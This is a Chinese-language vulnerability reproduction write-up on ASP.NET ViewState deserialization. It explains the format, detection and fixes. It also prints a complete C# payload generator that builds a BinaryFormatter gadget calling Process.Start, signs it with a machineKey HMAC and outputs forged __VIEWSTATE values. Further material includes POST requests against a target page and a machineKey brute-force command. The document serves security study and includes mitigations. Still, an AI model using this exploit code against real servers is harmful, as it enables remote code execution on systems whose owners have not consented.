ViewState 反序列化漏洞复现
漏洞概述
在 ASP.NET WebForms 模型中,每次页面请求结束后,服务器端的 Page 和控件会被销毁。为了维持跨 PostBack 的控件状态,ASP.NET 设计了 ViewState 机制。客户端通过隐藏域(如 __VIEWSTATE)携带状态数据,下一次请求提交时由服务器还原控件状态。
Note
前置条件:
- IIS 应用池运行在 .NET Framework 4.0 环境
- 目标站点使用 WebForms 模型
enableViewStateMac被禁用或machineKey可被获取
与 Cookie 不同,ViewState 是由服务器序列化对象、客户端回传、服务器反序列化 — 存在后端解析机制,不只是简单传输值。
序列化机制
序列化由 System.Web.UI.ObjectStateFormatter 负责。它会将控件状态对象序列化为特殊格式:
- 以字节流开头标识(magic
0xFF 0x01) - 随后有类型/值(Type–Value)描述
- 如果控件状态包含复杂对象,
ObjectStateFormatter会使用 .NET 二进制序列化(BinaryFormatter)对其进行序列化 - 序列化数据以 TypeCode
0x32标识,随后是带 7-bit 编码长度前缀 + 实际二进制数据
最终客户端提交给服务器的 __VIEWSTATE 内容,是上述序列化数据 加上 根据配置生成的签名/加密内容。简化流程如下:
ViewStatePayload = serialize(控件状态) + header magic (FF01 + 0x32 + length + data)client_id = hash(请求路径) + hash(请求文件名) // 用于 ViewStateUserKey / MAC modifierMacKeyModifier = client_id + (optional ViewStateUserKey)signature_or_encrypted = HMAC/加密(ViewStatePayload + MacKeyModifier, machineKey)__VIEWSTATE = ViewStatePayload + signature_or_encrypted当服务器接收到 PostBack 请求时,会对 __VIEWSTATE 进行 Base64 解码 →(如启用加密/签名)CryptoService 解密或验证 → 用 ObjectStateFormatter 反序列化 → 恢复控件树与状态。
漏洞成因
通过对上述机制的分析,若出现以下情况,就会使 ViewState 成为攻击面:
| 风险点 | 说明 |
|---|---|
enableViewStateMac 禁用 | 无签名校验,攻击者可直接构造任意序列化数据提交 |
machineKey 泄露 | 攻击者可伪造合法 signature 或正确加密/签名结果 |
machineKey 弱密钥 | 可能被暴力枚举或字典攻击 |
| BinaryFormatter 反序列化 | 可构造任意类型对象,触发 gadget 链实现 RCE |
Warning
当开发/部署不慎(不安全配置/密钥管理不当)时,ViewState 就可能成为远程代码执行(RCE)的入口。
漏洞检测
检查 ViewState 字段
- 查看页面响应中是否存在
__VIEWSTATE隐藏域 - 若存在且长度异常高,需要进一步关注其保护机制
检查 ViewStateGenerator
- 查看响应中是否包含
__VIEWSTATEGENERATOR字段 - 某些配置组合可能为识别漏洞提供线索
检查 machineKey
- 查看
web.config中是否显式配置了machineKey - 若未配置,ASP.NET 将使用默认密钥(可被爆破)
环境搭建
Tip
本复现环境要求:
- IIS 应用池设置为 .NET Framework 4.0
- 高版本 .NET 可能存在
ActivitySurrogateSelectorTypeCheck导致正常复现失败
1. 创建测试页面
在 IIS 目录中创建 index.aspx,内容如下:
<%@ Page Language="C#" EnableViewStateMac="false" %><!DOCTYPE html><html><head> <title>ViewState Test</title></head><body> <form id="form1" runat="server"> <asp:Label ID="Label1" runat="server" Text="Hello"></asp:Label> </form></body></html>Note
注意:EnableViewStateMac="false" 禁用了 MAC 校验,这是漏洞利用的关键条件。
2. 编译 Payload
将以下 C# 代码编译为 Test2.exe,并将编译后的 Test2.dll 放入 IIS 目录的 bin 目录下:
namespace TestViewState{ [Serializable] class Test : IObjectReference { Func<string, object> _dele; string _parm; public Test(Func<string, object> dele, string parm) { _dele = dele; _parm = parm; } public Object GetRealObject(StreamingContext c) { return _dele(_parm); } } public class Program { static object Deserialize(byte[] b) { using (MemoryStream mem = new MemoryStream()) { mem.Position = 0; BinaryFormatter bf = new BinaryFormatter(); return bf.Deserialize(mem); } } static byte[] Serialize(object obj) { using (MemoryStream mem = new MemoryStream()) { BinaryFormatter bf = new BinaryFormatter(); bf.Serialize(mem, obj); return mem.ToArray(); } } static byte[] GetViewState() { Test t = new Test(new Func<string, object>(Process.Start), "notepad"); byte[] data = Serialize(t); MemoryStream ms = new MemoryStream(); // 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01 ms.WriteByte(0xff); ms.WriteByte(0x01); // 指定ObjectStateFormatter进行序列化,特征为0x32 ms.WriteByte(0x32); uint num = (uint)data.Length; // Value为带有7bit-encoded长度前缀,所以最大长度为0x80 while (num >= 0x80) { ms.WriteByte((byte)(num | 0x80)); num = num >> 0x7; } ms.WriteByte((byte)num); ms.Write(data, 0, data.Length); return ms.ToArray(); } static void Main(string[] args) { byte[] data = GetViewState(); byte[] key = new byte[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf }; // clientId = hash(当前请求路径)+hash(当前请求文件名) uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/") + StringComparer.InvariantCultureIgnoreCase.GetHashCode("index_aspx")); // MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId byte[] _mackey = new byte[4]; _mackey[0] = (byte)_clientstateid; _mackey[1] = (byte)(_clientstateid >> 8); _mackey[2] = (byte)(_clientstateid >> 16); _mackey[3] = (byte)(_clientstateid >> 24); // 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE MemoryStream ms = new MemoryStream(); ms.Write(data, 0, data.Length); ms.Write(_mackey, 0, _mackey.Length); byte[] hash = (new HMACSHA256(key)).ComputeHash(ms.ToArray()); ms = new MemoryStream(); ms.Write(data, 0, data.Length); ms.Write(hash, 0, hash.Length); Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2")); Console.ReadKey(); } }}漏洞利用
1. 生成 Payload
运行编译后的 Test2.exe,获取生成的 __VIEWSTATE 和 __VIEWSTATEGENERATOR 值:
__VIEWSTATE=AAABBBCCC...&__VIEWSTATEGENERATOR=012. 提交请求
将生成的 ViewState 内容作为参数提交到目标页面:
POST /index.aspx HTTP/1.1Host: target.comContent-Type: application/x-www-form-urlencoded__VIEWSTATE=AAABBBCCC...&__VIEWSTATEGENERATOR=01&__EVENTVALIDATION=...Tip
成功利用时,目标服务器将执行 Process.Start("notepad"),即弹出记事本程序。
实战场景
场景一:machineKey 已知
如果攻击者通过源码泄露、配置错误等方式获取了 machineKey,可以直接构造合法的 ViewState Payload。
场景二:machineKey 爆破
若 machineKey 未显式配置,ASP.NET 使用默认密钥。攻击者可使用字典爆破工具尝试获取密钥:
Warning
以下为安全研究用途,严禁用于未授权测试。
# 使用 viewstate 密钥字典进行爆破python viewstate_cracker.py --target https://target.com/index.aspx --dictionary keys.txt场景三:无 MAC 校验
当 enableViewStateMac="false" 时,无需签名即可构造任意序列化数据:
POST /index.aspx HTTP/1.1Host: target.comContent-Type: application/x-www-form-urlencoded__VIEWSTATE=FF013200...修复建议
| 修复措施 | 说明 |
|---|---|
| 启用 MAC 校验 | 确保 enableViewStateMac="true" |
| 配置强 machineKey | 在 web.config 中显式配置强随机密钥 |
| 禁用 BinaryFormatter | 避免使用 ObjectStateFormatter 反序列化复杂对象 |
| 最小化权限 | 应用池使用低权限账户运行 |
| 定期更新补丁 | 及时应用 .NET Framework 安全更新 |